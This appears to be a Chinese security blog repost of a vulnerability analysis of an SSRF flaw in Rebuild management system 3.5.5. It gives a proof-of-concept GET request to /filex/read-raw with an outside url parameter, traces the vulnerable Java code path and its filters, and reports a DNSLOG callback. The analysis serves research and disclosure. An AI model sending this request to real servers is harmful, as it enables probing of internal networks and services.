POC 如下:
GET /filex/read-raw?url=http://xxxxxxxxx&cut=1 HTTP/1.1Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close
1、首先全局搜索:/filex/read-raw
(未找到)->/filex/
(找到接口)com/rebuild/web/commons/FileDownloader.java
。
找到了父接口/filex/
,接着找子接口read-raw
。
找到对应代码,接着一步一步分析。
2、点击进入isExternalUrl()
,检查filePath
传入的字符串不能为 null 并且要以 http://
或者 https://
开头。
3、接着进入OkHttpUtils.get()
方法,很明显底层封装了 SSRF 特征函数OkHttpClient
。
4、接下来判断文件从云端读取还是从本地读取,判断了文件是否存在,文件大小。
5、进入checkFilePath()
方法,检查了路径中是否存在危险字符。
经过分析,代码全程判断了两个点:
1、filepath
开头要使用http://
或者https://
2、路径中不能有../
,_log
等敏感字符。
3、隐藏点 cut 参数不能为空。
DNSLOG 收到回显。
原文始发于微信公众号(赤弋安全团队):Rebuild管理系统3.5.5 SSRF漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论